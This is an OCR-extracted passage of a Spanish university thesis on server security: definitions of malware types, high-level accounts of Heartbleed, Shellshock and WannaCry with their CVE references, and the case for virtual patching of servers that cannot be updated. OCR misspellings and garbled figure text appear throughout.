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Resumen

La presente tesis muestra los riesgos que existen actualmente en los servidores infor-
méticos, los danos que pueden causar y sobre todo el robo de informacién. Para una
institucién, empresa o persona, la informacién es de gran importancia como también
el funcionamiento correcto de los equipos informaticos como servidores, inicialmen-
te, proporcionamos una explicacién breve y general sobre conceptos de seguridad, ya
que es importante que las personas conozcan las definiciones de malware que existen
actualmente en los ataques informaticos.

También exponemos los ataques informéticos de los tiltimos afios que han impactado
al mundo y a la sociedad explotando vulnerabilidades expuestas y comprometiendo
millones de activos informaticos e informacién confidencial.

Dentro del presente trabajo se expone el andlisis de riesgo realizado a una empresa
del sector financiero y otra del sector educativo, se muestra la comparacién y el riesgo
de diferentes sistemas operativos con los que cuenta cada institucion.

Se realiza la demostracién del proceso de un ataque a un servidor, muestra como los
hackers se introducen a los sistemas operativos, como explotan las vulnerabilidades
para poder robar informacién y afectar los archivos y documentos.

Del mismo modo con la herramienta que proponemos como solucién para el blindaje
de aplicaciones criticas en servidores basado en parches virtuales, se muestra la miti-
gaciéon de vulnerabilidades sin necesidad de modificar o actualizar el sistema operativo
y versiones de aplicaciones con las que se estd trabajando, logrando disminuir la su-
perficie de riesgo y ayudando a los administradores de los servidores con un ahorro de
trabajo en su vida cotidiana.
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Introduccion

La seguridad en Servidores es tan importante como la seguridad en la red debido a
que los servidores contienen informacién vital para la organizacién, si un atacante
informético compromete un servidor, la disponibilidad e integraciéon se pone en ries-
go, afectando la operaciéon y confidencialidad de la organizacion. Asimismo es muy
importante para las empresas de cualquier giro entre ellas la educacion, financiera y
gobierno, etc.

Muchas de las aplicaciones de servidores incluidas por defecto en la instalacién necesi-
tan actualizarse para corregir errores de seguridad en las aplicaciones, estas se publican
y se dan seguimiento en listas como Security Focus (http://www.securityfocus.com),
sitio web del equipo de respuesta y emergencias de computacion (Computer Emer-
gency Reponse Team, CERT (http://www.cert.org) y Common Vulnerabilities and
Ezposures (https://cve.mitre.org/). Aun teniendo estas asociaciones que alertan a las
administradores de TI(Tecnologias de la Informacion), para los administradores de
los servidores se vuelve complicado aplicar un parche o actualizacion de los servidores
debido a la disponibilidad que deben mantener y a las aplicaciones criticas a las que no
es sencillo aplicar un parche de seguridad, al mismo tiempo los atacantes informéaticos
tienen acceso a las mismas fuentes e intentan utilizar esta informaciéon para violar los
sistemas operativos que no han sido parchados.

“Cada servidor contiene aplicaciones, dependiendo del rol que tenga en la organiza-
cién, por ejemplo un Sistema Operativo de Red Hat Enterprice Linuz contiene mds
de 1000 aplicaciones y bibliotecas de paquetes’, sin mencionar que los sistemas ope-
rativos Windows son muy dependientes de las actualizaciones y las versiones de las
aplicaciones. Sin embargo, la mayoria de los administradores optan por no instalar
los paquetes de distribucién debido a la operacién de la organizacién, actualmente
muchos cuentan con versiones viejas de programas o aplicaciones debido a que solo

son compatibles con ciertas versiones del Sistema Operativo.

Es aqui donde encontramos una gran necesidad y brecha de seguridad que es muy
compleja de resolver para los administradores de los servidores, como lo explicamos
anteriormente no se pueden aplicar todos los parches y mantener actualizados los

!pagina  web Red Hat Enterprise Linux 4: Manual de seguridad- Capitulo 4,
“http://web.mit.edu/rhel-doc/4/RH-DOCS /rhel-sg-es-4 /s1-risk-serv.html”, 3 de Junio 2017.
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sistemas operativos porque muchas aplicaciones funcionan con ciertas versiones como
java, Internet explore, PHP,SQL, ORACLE, etc. Es aqui donde se pone una balanza
entre la operacién y disponibilidad del servidor contra robustecer la seguridad, sin
contar que para aplicar un parche muchas veces deben reiniciar el servidor, hacer
ventanas de mantenimiento, probar el parche antes de aplicarlo o sistemas operativos
viejos como Windows Server 2003 que actualmente ya no tiene soporte por parte de
Microsoft. 2

En el presente trabajo buscamos proponer una tecnologia con parches virtuales que
protejan al servidor a nivel perimetral con reglas inteligentes y politicas anti exploit,
donde no hay necesidad de reiniciar el servidor, modificar la aplicacién o hacer ven-
tanas de mantenimiento exhaustivas para parchar la vulnerabilidad y mantener la
disponibilidad del servidor.

Buscamos que en un futuro nuestra casa de estudios la Universidad Autonoma de la
Ciudad de México cuente con este tipo de tecnologias en los servidores.

Por lo cual nos hacemos una pregunta ;Qué pasaria si el servidor Web de la UACM
es vulnerado debido a una actualizacién que no se puede aplicar porque los adminis-
tradores deben mantener la disponibilidad debido a ser temporada de inscripcién o
certificacion? quizé la disponibilidad y operacién se mantiene pero mientras tanto el
atacante puede comprometer la informacién confidencial de los alumnos o personal
académico y administrativo como pasé en el reciente ataque mundial realizado por
ransomware WannaCry en donde por una vulnerabilidad de Windows fueron compro-
metidos cientos de servidores en todo el mundo.

?Pagina web Micrsorft “https://www.microsoft.com/en-us/cloud-platform /windows-server-2003”,
3 de Junio 2017.
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Generalidades

Playload. Carga 1til, conjunto de datos transmitidos, en realidad en un mensaje
enviado. Esta carga contiene cabeceras o metadatos, que son enviados para facilitar
la entrega.

MetaSploit. Conjunto de herramientas o programas, que proporcionan informacién
acerca de las vulnerabilidades de los sistemas de cémputo, y ayudan a las pruebas de
penetracion.

Meterprete. Carga 1util o Playload que es ejecutado después que existe una explo-
tacién a las vulnerabilidades en un sistema operativo, permitiendo obtener una gran
cantidad de informacion sobre un objetivo comprometido.

MFSconsole. Es la interfaz que ofrece una consola centralizada “todo-en-uno” per-
mitiendo acceso eficiente a todas las opciones disponibles como Matasploit, Playload,
Meterpreter entre otros.

Script. Archivo de 6rdenes o archivo de procesamiento por lotes, es un programa
usualmente simple, por lo regular se almacena en un archivo de texto plano.

Kali Linux. Sistema Operativo basada en Debian GNU/Linux dedicada principal-
mente a la seguridad informatica.

Dropear. El verbo de dropear viene del inglés(dejar caer o tirar), en informéatica tirar
paquetes de trafico de informacion.
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Capitulo 1

Mitos y Leyendas de la Seguridad
Informatica

Existen numerosas creencias, hébitos de uso y pautas en seguridad informética que
los usuarios siguen para tratar de evitar ataques informaticos y otros mas se muestran
indiferentes o escépticos ante incidentes informaéticos.

A continuacién comparto 6 mitos sobre la seguridad informatica, es una recopilacion

realizada por el sitio “protecciononline.com”. !

1.1. Mito 1: Compras en Internet.

Creencia: Si no compro productos ni contrato servicios en Internet, no puedo con-
vertirme en una victima mas del crimen cibernético.

Realidad: Incluso las personas que no compran ni realizan operaciones bancarias en
Internet pueden verse afectadas por el crimen cibernético. Basta con una sola visita a
un sitio Web infectado, o incluso a un sitio Web libre de virus, pero con un aviso de
publicidad infectado, para que tu equipo pueda resultar infectado por un programa
de software de actividades ilegales, como un bot o un caballo de Troya.

1.2. Mito 2: Compartir claves con mi familia es seguro.

Creencia: No es arriesgado dejar que otras personas utilicen mi equipo, o compartir
con ellas mis claves, siempre que sean miembros de mi familia o amigos de mucha
confianza.

!pagina  web  proteccion online “http://www.protecciononline.com/mitos-sobre-seguridad-
informatica-que-debemos-conocer/”, (Consultado 3 junio 2017).
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Realidad: Cualquier persona puede ser victima de un ataque en Internet. Los crimi-
nales cibernéticos utilizan herramientas automatizadas para enviar millones de correos
electrénicos fraudulentos con la esperanza de encontrar un pequeno numero de vic-
timas vulnerables. No les importa quién les haya abierto el camino que les permite
infectar un equipo, ya sea un adulto o un nifio, con tal de que se dejen engafnar y
cometan un error. Los criminales cibernéticos actian con rapidez, y el mas pequeno
error les es suficiente para abrir la caja de Pandora. Es preferible no compartir tus
claves, ni siquiera las de acceso al ordenador.

1.3. Mito 3: No soy famoso, nadie robara mi identidad.

Creencia: Internet es tan grande que no deberfa preocuparme por aspectos como
el robo de identidad. La probabilidad de que me convierta en victima es minima, a
menos que sea una figura publica o un personaje famoso.

Realidad: Los programas de bots automatizados realizan constantes batidas en In-
ternet en busca de nuevas victimas a las que puedan infectar. Incluso aunque no seas
alguien famoso, o intentes pasar inadvertido en la Red, esta implacable variedad de
software de actividades ilegales pondré a prueba la seguridad de tu equipo. Ademas,
el volumen de correos electronicos fraudulentos de phishing que se envian cada dia
es tan elevado que es muy probable que, tarde o temprano, recibas un mensaje fal-
80. Si bien los usuarios que utilicen Internet con frecuencia tienen mas posibilidades
de convertirse en victimas, cualquier persona que utilice Internet estd expuesto a las
amenazas.

1.4. Mito 4: Ya tengo un Firewall, ya estoy seguro.

Creencia: Estoy protegido contra el robo de identidad en Internet si cuento con un
firewall que bloquea intrusos, hackers y criminales.

Realidad: El software de firewall constituye un excelente primer paso en la tarea
de proteger tu equipo, pero no es mas que la primera linea de defensa. De hecho, el
software por si solo es incapaz de protegerlo completamente contra el robo de identidad
en linea, ya que los ataques de hoy en dia pueden incorporar una faceta psicologica
y enganar a la victima para que revele informacion confidencial en lugar de explotar
una falla del software.
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1.5. Mito 5: Las fotografias son libres de virus.

Creencia: No todos los programas corren riesgos: Por ejemplo, es imposible que las
fotografias contengan cédigos nocivos.

Realidad: Muchos de los problemas de software recientes son causados por atacantes
que envian a las victimas cdédigos de ataque incorporados en archivos de imégenes,
como fotografias. El ataque se produce cuando la victima estd navegando por Internet
o leyendo un correo electronico y se encuentra con una pégina web o un mensaje que
contiene la fotografia contaminada: Al visualizar la foto, el codigo de ataque se ejecuta
e infecta el equipo de la victima con software de actividades ilegales.

1.6. Mito 6: Si no uso Windows, estoy seguro.

Creencia: Las personas que no utilizan Microsoft Windows estdn a salvo. Los cri-
minales se aprovechan de los usuarios de Windows porque son presas mas faciles,
mientras que dejan tranquilos a los usuarios de Linux y Mac.

Realidad: Si bien los usuarios de Microsoft Windows son sin duda los usuarios de
Internet que reciben el mayor niimero de ataques, las personas que utilizan otros
sistemas operativos o software no son inmunes a las fallas de software ni a los ataques
fraudulentos. Los recientes casos de virus para Mac, por ejemplo, demuestran que
elegir otro software no es suficiente para eliminar el riesgo de sufrir un ataque en
linea. Ademés, muchos de los ataques de hoy en dia, como el phishing, funcionan
independientemente del paquete de software que se esté utilizando.
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Capitulo 2

Malware, Exploit y Vulnerabilidades.

Es muy importante conocer los tipos de malware y diferenciar el comportamiento de
cada uno, esto facilita al administrador del servidor identificar qué tipo de amenaza
existe de acuerdo al comportamiento que presente y asf poder aplicar la remediacién
correspondiente.

En el presente capitulo explicamos los diferentes tipos de malware, qué es un exploit
y ejemplos de vulnerabilidades descubiertas en los iltimos anos.

2.1. ;Qué es Malware?

Es un software malicioso disenado para infiltrar o danar una computadora sin consen-
timiento del usuario.

Programa que realiza actividad maliciosa que se define como:
Intencion + Efectos Nocivos.

Ejemplo de Actividades:

= Propagacion.
Habilidad del malware de extenderse a otros sistemas a través de otros medios
fisicos o de Internet.

s Destruccién.

Habilidad del malware de borrar archivos criticos del sistema y detener la ope-
racion de la computadora.
Virus

Un virus es un programa que se replica adjuntdndose de otros archivos de programa,
como por ejemplo los siguientes mencionados:
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= ActiveX: En activeX se puede ejecutar un cédigo malicioso que reside en las
paginas web.

= Virus de sector de arranque: También el virus puede afectar al sector de arranque
del sistema operativo.

= Archivos COM y EXE: estos archivos son comunmente utilizados por los virus
para su distribucion.

= Codigo malicioso de Java: cédigo virico independiente del sistema operativo
escrito o incrustado en Java.

= JAVA: Comtnmente los atacantes explotan vulnerabilidades de JAVA para crear
c6digos maliciosos mediante codigo virico.

= Virus de VBScript,JavaScript o HTML: este virus comtnmente reside en las
péginas Web y es descargado mediante exploradores.

= Gusano: es un programa que se reproduce por si mismo a través de redes utili-
zando mecanismos de ésta, por lo tanto un gusano es un virus de red.

Troyano.

El caballo de troya es un programa ejecutable el cual no se replica, pero reside en
los equipos realizando actividad maliciosa como, por ejemplo, abrir puertas traseras
(puertos). Un ejemplo de programas troyano es una aplicacion que se presenta como
herramienta para eliminar virus (Falsos antivirus) y cuya intencion es, en realidad,
introducir virus en el equipo

Spyware.

El Spyware recopila informaciéon (como nombres de usuario y contrasefias de cuentas,
nimeros de tarjetas de crédito y otra informacion confidencial) que se transmite a
otras personas.

Adware.

El adware muestra publicidad y recopila datos como las preferencias de navegaciéon en
Internet, lo que se puede utilizar posteriormente para enviar publicidad al usuario.
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Rootkit.

Es un conjunto de herramientas que los atacantes utilizan para acceder ilicitamente a
un sistema informatico, estas herramientas sirven para esconder procesos y archivos
que permiten al intruso mantener el acceso al sistema, por lo regular el rootkit realiza
su actividad maliciosa a nivel kernel afectando al hardware del equipo.

Phishing.

La técnica del phishing consiste en envio de correos electrénicos que, aparentemente
provienen de fuentes confiables (por ejemplo, entidades bancarias), intentan obtener
datos confiables del usuario, que posteriormente son utilizados para la realizacién de
algan tipo de fraude. Pare ello, suelen incluir un enlace que, al ser pulsado, lleva a
paginas web falsificadas. De esta manera, el usuario, creyendo estar en un sitio de toda
la confianza, introduce la informacién solicitada que, en realidad, va a parar a manos
del estafador. similares.

Spoofing

Es una creacion de tramas TCP /IP utilizando direccionamiento IP falseada; la idea de
este ataque es muy sencilla: Desde un equipo, el pirata informético simula la identidad
de otra méquina en la red para conseguir acceso a recursos del tercer sistema donde
ha establecido algin tipo de confianza basada en el nombre o la direccion IP de la
computadora suplantada.

En la figura 2.1 ejemplifica el comportamiento de Spoofing.

N
i
S

N

w

Victima Servidor Web

-]

Atacante

Figura 2.1: Spoofing
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Botnet

Las redes de bots o botnet, son redes o grupos de ordenadores infectados por contro-
ladores remotos por el propietario de la red boinet. Este propietario da instrucciones
que puedan incluir: la propia actualizaciéon del bot la descarga de una nueva amenaza,
mostrar publicidad al usuario, el envio de SPAM o el lanzar ataques de denegacion de
servicios, entre otras.

Spam.

El spam es el correo electréonico no solicitado que es enviado en cantidades masivas
a un nimero muy amplio de usuarios generalmente con el de comercializar, ofertar
o tratar de despertar el interés con respecto a algn producto o servicio. Este tipo
de correos electréonicos suponen también, en muchos casos, la punta de lanza para
cometer ciber delitos como el phishing o el scam.

Ransomware

Ransomware es un tipo de malware que impide o limita los usuarios accedan a su
sistema, ya sea mediante el bloqueo de la pantalla del sistema o mediante el bloqueo
de los archivos de los usuarios. Mas familias Ransomware modernas, categorizados
colectivamente como cripto-ransomware, cifrar ciertos tipos de archivos en los sistemas
infectados y obliga a los usuarios a pagar el rescate a través de ciertos métodos de
pago en linea para obtener una clave de descifrado.

2.2. Vulnerabilidades y Ezploit.

Vulnerabilidad: Es una falla de seguridad o debilidad del software o en un sistema
operativo que puede conducir a brechas de seguridad, esta falla se convierte en una
preocupacion de seguridad cuando un atacante descubre dicha vulnerabilidad y crean
un coédigo malicioso o exploit dirigido para aprovechar esa falla.

FEzploits: Es un coédigo creado deliberadamente por un atacante para aprovechar una
vulnerabilidad de software En muchas ocasiones este c6digo es incorporado a un
malware.

En ocasiones un exploit es una parte de varios componentes de un ataque:

= El exploit puede crear otro malware.
= Puede incluir backdoor.

= Puede ser parte de un software espia.
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Vulnerabilidades que han impactado al mundo durante los tultimos anos.

A continuacion describimos brevemente importantes vulnerabilidades publicadas en

afos recientes, que ponen en riesgo la operaciéon del servidor.

Heartbled

Heartbled es una grave vulnerabilidad en la biblioteca de software criptografico Open
SSL, descubierta y publicada el 1 de abril del 2014, esta debilidad permite el robo de
informacion protegida por el cifrado SSL/TLS mediante la lectura de memoria que
utilizan ciertas versiones de Open SSL. Permite intrusivamente extraer informacion
del servidor a pesar de que las comunicaciones sean seguras como:

= Credenciales del usuario.
= Datos personales del usuarios.

= La llave para descifrar la comunicacién segura.

Segin datos de Netcraft el 66 % de los sitios utilizan Open SSL y solo el 17 por ciento

son susceptibles a la vulnerabilidad Heartbled. !

De acuerdo con algunas noticias en México sobre la vulnerabilidad Heartbled, si hubo
afectacion en sitios mexicanos con dominios MX a pesar de que se reaccioné de manera

oportuna.
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Figura 2.2: Noticias Heartbleed

'Noticias Hearbleed, “http://www.excelsior.com.mx/hacker/2014,/04/26/955915” (consultado 3 de

junio 2017).
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Figura 2.3: Desafio de un cliente-tienda departamental.

El parche que corrige esta vulnerabilidad fué publicada en MITRE con la referencia
Oficial CVE-2014-0160%, es importante que todos los sitios afectados por esta vulne-
rabilidad pongan el parche mencionado anteriormente.

Algunas distribuciones de sistemas operativos que se han enviado con la versiéon po-
tencialmente vulnerable de OpenSSL:

» Debian Wheezy (estable), OpenSSL 1.0.1e-2 + debTu4
= Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntub.11

= CentOS 6.5, OpenSSL 1.0.1e-15

s Fedora 18, OpenSSL 1.0.1e-4

s OpenBSD 5.3 (OpenSSL 1.0.1c 10 mayo de 2012) y 5.4 (OpenSSL 1.0.1c¢ 10 mayo
de 2012)

= FreeBSD 10.0 - 1.0.1e de OpenSSL 11 Feb 2013
= NetBSD 5.0.2 (OpenSSL 1.0.1e)
» OpenSUSE 12.2 (OpenSSL 1.0.1c)

Operativo de distribuciéon del sistema con las versiones que no son vulnerables:

» Debian Squeeze (antigua estable), OpenSSL 0.9.80-4squeezel4
= SUSE Linux Enterprise Server

= FreeBSD 8.4 - 0.9.8y OpenSSL 5 Feb 2013

https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-0160
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= FreeBSD 9.2 - 0.9.8y OpenSSL 5 Feb 2013
» FreeBSD 10.0pl - 1.0.1g OpenSSL (A las 8 Abr 2014 18:27:46 GMT)
» FreeBSD Ports - 1.0.1g OpenSSL (, a los 7 Abr 2014 21:46:40 GMT)

2.2.1. Shellshock.

Shellshock es un error de seguridad en el Bash de Shell de Unix, la vulnerabilidad
fué descubierta en Septiembre del 2014, Bash, que se encuentra en la mayoria de los
sistemas operativos unix y Linux asi como en Mac OSX podrian permitir al atacante
ejecutar comandos de forma remota sin autenticacién, permitiendo asi cargar infor-
macion del sistema operativo, acceder a datos confidenciales o establecer un escenario
para futuros atacantes .

En octubre del 2014 se detecté un nuevo ataque de Shellshock dirigido a servidores
SMTP, “los atacantes usaron correo electrénico para entregar exploit, si el codigo de
explotacién es ejecutado correctamente en el servidor SMTP vulnerable se descarga
y ejecuta Bot IRC conocido como JST Perl IcrBot. Después de la ejecucién se borra
para evitar ser detectado por el radar.” 3

Proceso de ataque Shellshock:
1. El atacante crea un coédigo malicioso que inserta en un correo electrénico sobre
los campos de subject, from y CC.

2. El atacante envia este correo malicioso a cualquier servidor SMTP potencial-
mente vulnerable.

3. Cuando el servidor SMTP recibe el correo malicioso, la carga til de shellshock
se ejecutara y descargard el bot IRC, también se establecen conexiones a centros
de mando y control.

4. Los atacantes toman control del servidor y pueden ejecutar diferentes rutinas de
ataques como denegacion de servicios mediante SPAM.

La siguiente imagen muestra el proceso de ataque de Shellshock.

3https://blog.trendmicro.com/trendlabs-security-intelligence /shellshock-related-attacks-
continue-targets-smtp-servers/
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Figura 2.4: Proceso de ataque Shellshock.

Este ataque se ha visto en servidores SMTP en diferentes paises como por ejemplo,
Taiwan, Germania, Estados Unidos y Canada.

Country %

® Taiwan 21%
® Germany 21%
United States 16%
Canada 10%
® Others 32%

Figura 2.5: Top de paises afectados por Shellshock en servidores SMTP.

El parche que soluciona la vulnerabilidad Shellshock se publico el 24 de septiembre del
2014 con el nombre de CVE—2014 — 6271.*

“Porta web CVE S“https://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-6271", (consultado 22
octubre 2017).
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2.2.2. WannaCry (Ransomware).

WannaCry (quiero llorar), es un ataque informdtico que nombrado en inglés “ Wan-
naCry Ransomware attack o WannaCry Doble Pulsar attack”, comenzo el viernes 12
de mayo del 2017 afectando a un gran ntimero de organizaciones, paises y ordenadores
en todo el mundo.

Varias empresas de Europa se vieron seriamente afectadas, como es el caso de tele-
fénica Movistar al cual le comprometieron aproximadamente el 85 por ciento de sus
ordenadores, en aquella fecha le exigian un aproximado de $300 bitcoints como rescate
de lo contrario comenzarian a borrar la informacién que fue secuestrada, Movistar
FEspana se vio obligado a dar un apagén de equipos orientando a sus usuarios a no
prender sus ordenadores.® ¢

El sector salud fue gravemente afectado, como es el caso del servicio nacional de
salud de Gran Bretana (NHS) el cual se vio obligado a rechazar pacientes y retrasar
operaciones hasta que el servicio fuera normalizado y los ordenadores pudieran ser
restablecidos.”

i, Qué es lo que hace WannaCry Ransomware y quien es afectado?

Wannacry es una variante de Ransomware® que afecta a sistemas operativos Windows
explotando la vulnerabilidad basada en el bloque de mensajes del servidor (SMB) de-
nominada CVE—2017 — 0144. ? La afectacion se realiza mediante un exploit dirigido
a explotar la vulnerabilidad, al momento de que es ejecutado en el sistema operativo
tiene la capacidad de encriptar 176 tipos de archivo, algunos de estos archivos pueden
ser de bases de datos, multimedia, PDF, JPG, GIF, archivos Microsoft office, entro
otros. Posterior a la infeccién en el ordenador se muestra un mensaje de pago deman-
dando $300 bitcoints por el rescate de la informacion a sus victimas, el costo de la
demanda podria aumentar dependiendo del tiempo en que la victima pudiera realizar
el pago.

"Portal web de ¢ El Mundo” noticiero de FEspafia, “http://www.elmundo.es/tecnologia
/2017/05/12/59158a8cebfdeal94f8b4616.html”,(consultado 22 Octubre 2017).

SPortal web de noticias El comercio, “http://www.elcomercio.es/tecnologia,/201705/12 /telefonica-
sufre-ciberataque-interna-20170512124356-rc.html”, (consultado 22 Octubre 2017).

"Portal web de BBC noticias,“http:/ /www.bbc.com /news/health-39899646”,(consultado 22 Octu-
bre 2017).

®Blog Trend Micro, “Ransomwarehttps://www.trendmicro.com/vinfo/us/security/definition
/ransomware”,(consultado 22 Octubre 2017).

“Portal web de “Common Vulnerabilities and Exposures”, “https://www.cve.mitre.org/cgi-
bin/cvename.cgi?’name—=CVE—2017 — 0144” (consultado 22 de Octubre 2017).
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Figura 2.6: Nota de rescate de WannaCry.

El ezploit que aprovecha la vulnerabilidad CVE—2017 — 0144 es llamado “Eternal
Blue”y fue creado por la Agencia Nacional de Seguridad (NSA)!? de los Estados Unidos

Americanos, dicho exploit fue filtrado por el grupo de piratas cibernéticos “Shadow
Brokers”™

Microsoft resolvié la vulnerabilidad el parche de seguridad en el boletin de seguridad
MS17 — 010 omitido el 14 de marzo del 2017; sin embargo, hasta la fecha millones de
ordenadores no tienen el parche de seguridad lo que causa que el impacto de WannaCry
sea omnipresente en su capacidad de propagacién, similar a un gusano que permite que
la propagacion a través de la red infectando ordenadores conectados sin la necesidad
de que el usuario intervenga.'?

El proceso de infeccion y propagacion de Ransomware WannaCry se muestra en la
siguiente imagen.

1. WannaCry llega mediante un ezploit generado para explotar la vulnerabilidad
MS17 — 010, el exploit tiene diferentes métodos de entrada como lo es inge-

YPortal web de NSA, “https://www.nsa.gov/”, (consultado 23 Octubre 2017).

"Portal web Trend Micro,“https://www.trendmicro.com/vinfo,/us/security /news/cybercrime-
and-digital-threats /malware-using-exploits-from-shadow-brokers-in-the-wild”,(consultado 23 Octubre
2017).

2Blog Trend Micro,“http://blog.la.trendmicro.com/wannacrywery-ransomware-como-defenderse-
de-el /# . We2DZmjWzIV” (consultado 23 Octubre 2017)
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nierfa social, ataque informatico, mediante un correo electrénico malicioso, por
dispositivos USB o en ocasiones por una mala navegacion en internet.

2. El archivo que libera el exploit se ejecuta como un servicio, por ejemplo: ms-
secsvc.exe.

3. El equipo infectado queda comprometido y se libera el archivo de Ransomware.

4. La infeccion se ejecuta comenzando con el cifrado de archivos y al finalizar
despliega una pantalla solicitando el rescate de los archivos.

5. Los archivos quedan cifrados con extensién .wncery. dificilmente de recuperarlos
y convertidos a un formato no legible para el usuario.

Se liberan componentes de la
El archivo entregado par T amenaza comenzanda con el
e 2 e libera el archivo i i
e I el exploit se ejecuta como cifrado de archivos y se
5 p Ll muestra nota de rescate.
través de exploit. un servicio.

WWW

r * Y @WanaDecrypton@.exe

‘p B 1
S & Ed

1Y |
% MWNCRY
{j
wnry
MSSecsve.exe *

Figura 2.7: Flujo de ataque e infeccién de WannaCry Ransomware.

Archivos cifrados con

Archivo malicioso extension wncry

Vialsass.exe tasksche.exe

Empresas dedicadas a la seguridad en los puntos finales y servidores, han lanzado
campafias de prevenciéon contra Ransomware y proponen soluciones basadas en apren-
dizaje de maquina y parches virtuales en caso de no poder poner parches fisicos, en el
siguiente capitulo profundizaremos estos temas.
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Capitulo 2. Malware, Ezploit y Vulnerabilidades.
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Capitulo 3

Proteccion de aplicaciones criticas
en servidores

Los fabricantes de Software ofrecen la proteccién contra vulnerabilidades dentro del
mantenimiento habitual de sus plataformas a través de parches, los cuales logran
mitigar el riesgo ante la exposicién a un ataque hacia una vulnerabilidad. Pero cuando
una plataforma sale de su periodo de vida como reciente mente Windows server 2003
el cual ya no tiene soporte por parte de Microsoft, o bien los fabricantes no logran
emitir los parches necesarios para contrarrestar una brecha de seguridad, los sistemas
quedan expuestos a las explotacion de vulnerabilidades, incrementando el riesgo de la
informacién contenida en un sistema operativo.

Afio con ano son descubiertas cientos de vulnerabilidades que afectan a las aplicaciones
y sus sistemas operativos, estas vulnerabilidades son publicadas en MITRE, la cual
es una organizacion sin animo de lucro que gestiona los CVE. Opera en centros de
investigacién y desarrollo encargados del estudio de distintos campos de entre los que
se encuentra la seguridad de la informacion.

.Qué es CVE?

CVE (Common Vulnerabilities and Ezposures) es quiza el estandar més usado para
nombrar las vulnerabilidades conocidas y publicadas. Permite identificar las vulne-
rabilidades asignando un cédigo de identificacién tinico que se conoce como CVE
(CVE-ID) y esta formado por siglas que significan el ano y numero que se le otorga a
la vulnerabilidad.
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CVE-2013-7518

Siglas de Afode  Numero de cuatro
Commaon registro cifras asignado a la
Vulnerabilities vulnerabilidad

and Exposures

Figura 3.1: Descripcion de vulnerabilidad por CVE.

De acuerdo con la CVE!, en lo que va del afio 2017 Linux se mantiene en la clasificacion
de sistemas operativo con més vulnerabilidades descubiertas, muchos pensaran que
por ser un sistema gratuito no tiene vulnerabilidades pero en realidad es uno de los
principales focos de infeccién dentro de una empresa lo que hace que las aplicaciones
se puedan comprometer con algin ataque informatico.
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M apple 5258
Google 2836
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Canoniczl 867
Mowvell 784
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Cisco 435

231 Fadoraproject 441

5258
4167
3270
2525
1948 M Rechat 420
1373 [ ™ agemagick 401
1020 a7
580 471 486 441 420 404

Figura 3.2: Vulnerabilidades publicadas en el ano 2017.

T34

'Portal Web CVE, “http://www.cvedetails.com/top-50-products.php?year—=07,(consultado 28 Oc-
tubre 2017).
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Y en las empresas ;Qué sucede?

Actualmente las empresas de cualquier giro ya sea, publico, privado, financiero, educati-
vo, gubernamental, etc tienen diversos sistemas operativos y aplicaciones en los centros
de datos, los servidores contienen sistemas operativos (Linux, AIX,Solaris, Windows,
etc), Aplicaciones (SAP,DNS,AD,SIEBEL. Etc), Bases de datos (Oracle, MySQL,
DB2, Postgre/MSSQL), Servidores Web (Apache, Microsoft), Aplicaciones Web de ter-
ceros (PHP apps, Java Apps)y aplicaciones Web propietarias. Este tema se convierte
complejo para los administradores de infraestructura y los encargados de la seguridad
en los centros de datos, por un lado preocuparse de poner los parches para garantizar
la seguridad del servidor y por otro lado garantizar la disponibilidad de la operacién,
al aplicar algin parche y dependiendo de la configuracién de este puede presentarse
un reinicio en el servidor y esto causaria interrupciéon en la operacién, perderian la
disponibilidad eso sin contar que posiblemente el parche aplicado no se instale correc-
tamente y pueda alterar el funcionamiento de la aplicacién, entonces esto se vuelve
un dolor de cabeza dia con dia.

Agreguemos que algunos sistemas operativos estan fuera de soporte y los parches ya
no se encuentran disponibles por el fabricante, y que pasa cuando ciertas aplicaciones
funcionan con versiones especificas de la aplicacién, el poner un parche definitivamente
no funciona pero la aplicacién quedaria vulnerable para algtin atacante cibernético.

Aplicaciones Weh o oo llos propigearios

Propietarijas Slias localmefite

Aplicaciones Web
de Terceros

Servidor Web

Base de Datos

DISPONIBILIDAD

Aplicaciones

- — Wi s [ Linugd
Sistema Operativo Qﬂig‘:siN#

Figura 3.3: Sistemas criticos y su complejidad.
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Con lo anterior podemos observar que en las grandes empresas hay un eterno problema
de vulnerabilidades, en la siguiente imagen se muestran las cuestiones comunes que se
presentan.

¢COMO ME PROTEJOSI £COMO ME PROTEJOSSI
' AUN NO ESTANLOS AUN NO PUEDO APLICAR
EL ETERNO UBN PARCHES DISPONIBLES? LOS PARCHES ?
PROBLEMA DE LAS

VULNERABILIDADES o —0—
Y LOS PARCHES A\ 4

¢QUE VULNERABILIDADES YA SALIO EL PARCHE ¢COMO SABER S| ME
TENGO EN ESTE SERVIDOR? ¢PUEDO APLICARLO? ESTAN ATACANDO?
v~ -

(QUE PARCHES TENDRIA |
L QUE PONER Y EN DONDE? J

Figura 3.4: Cuestiones comunes sobre vulnerabilidades y parches.

A continuacion se ejemplificamos en una serie de imagenes, una grafica que compara
el riesgo contra el tiempo en que se toma para resolverlo.

En principio la vulnerabilidad es descubierta y posteriormente las organizaciones en-
cargadas de gestionar las vulnerabilidades la publican como lo es el caso de la CVE,
una vez publicada el atacante informéatico u organizaciones de seguridad informética
crean el exploit y lo ponen a disposicién, pasa tiempo y todavia se puede atomizar el
ezxploit antes de que el fabricante publique el parche, pasado de 1 a 2 meses el fabri-
cante publica el parche que mitiga la vulnerabilidad y con esto se disminuye el riesgo
pero ya pasé un tiempo considerable para remediar el hueco de seguridad.

Parches vs. Vulnerabilidades

£l costo de
ignorar la
vulnerabilidad

es mayor que -
el costo de Exploit
automatizado -
i ‘ Fabricante
publica parche

\
a\
h
[T — Vol -
a

Riesgo

A 4

Tiempo 60 a 90 dias (Ventana de Riesgo o Exposicion)

Figura 3.5: Grafica de riesgo parches contra vulnerabilidades.
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i, Qué pasa si no se pone el parche que mitiga la vulnerabilidad?

Obviamente al no poner los parches de seguridad en el sistema operativo del servidor y
sus aplicaciones, aumenta el riesgo de que la informacién sea comprometida o a sufrir
un ataque informéatico en la organizacion.

Pero, jPor qué no se podria poner un parche?

La respuesta se muestra en la figura 3.6.

Parches vs. Vulnerabilidades
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i automatizado =
A repararla Fabricante
4 publica parche
disponible No se puede
Vulnerabilidad
puablica

aplicar varche
D -+ No s que parches poncr £POR QUE NO PODRIA

==~ PONER UN PARCHE?
Vulnerabilidad « Tengo que probarles antes 1.
descubierta

. Ventanas de manterimiento ol

Riesgo

. Reiniciar servidores

+ Medir ¢l impacto de aplicarlo

